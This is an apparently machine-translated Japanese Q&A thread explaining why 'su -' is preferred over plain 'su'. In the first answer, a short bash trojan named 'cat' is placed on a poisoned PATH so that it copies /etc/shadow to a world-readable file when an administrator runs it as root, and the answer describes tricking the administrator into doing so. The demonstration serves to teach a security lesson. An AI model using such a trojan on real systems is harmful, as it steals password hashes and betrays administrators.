なぜrootとしてログインするのがsu -
優先されているのかわかりません。su
答え1
su -
ユーザー切り替え後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、きれいな基盤を提供します。
su
ユーザーを切り替えて、既存のユーザーとほぼ同じ環境の一般的なシェルを提供するだけです。
あなたがコンピュータへの一般ユーザーアクセスを持っているソフトウェア開発者であり、無知な管理者がrootアクセスを許可していないと想像してください。 (希望的に)彼をだましましょう。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
これで、ホームフォルダでダミーファイルが利用できない理由を管理者に問い合わせてもcat
機能しません。
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
管理者があまり賢くないか少し怠惰な場合は、管理者が机に来て自分のスーパーユーザー権限を使用しようとする可能性があります。
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
うわー!最高管理者ありがとうございます!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
へへ。
$PATH
破損した変数はリセットされないことがわかります。管理者が呼び出すと、su -
これは発生しません。
答え2
su -
完全にrootとしてログインし、su
rootのように偽装することができます。
最も明確な例は、使用されて~
いる場合はルートのホームディレクトリsu -
、使用されている場合は独自のホームディレクトリですsu
。
システムによっては、PATH
プロンプトまたは履歴ファイルの違いを意味する場合があります。
したがって、あなたがシステムを管理するチームの一員であり、同僚が実行コマンドを提供する場合はsu -
、su
一方、rootとしてコマンドを実行しますが、独自の設定を使用したい場合は、su
これが良いかもしれません。
また、rootとして実行されるシェルを起動するオプションがあることをsudo
忘れないでください。-s
もちろん、ここにも他のルールがあり、使用しているディストリビューションによって変わります。
答え3
主な違いは次のとおりです。
su - username
指定されたユーザー環境変数にアクセスして使用する、指定されたユーザーのクリーンログインであるかのようにシェル環境を設定します。
su username
指定したユーザーの現在の環境設定でシェルを起動します。
su
ユーザー名を使用せずに指定しないと、デフォルトではsu -
rootアカウントが使用されます。
答え4
私は通常のユーザーとしてディレクトリにいますが、rootに切り替え、切り替え後に同じディレクトリに滞在したいときにsuを使用します。 su - を使用すると、ユーザーは root に切り替えられ、root ホームディレクトリ /root に移動されます。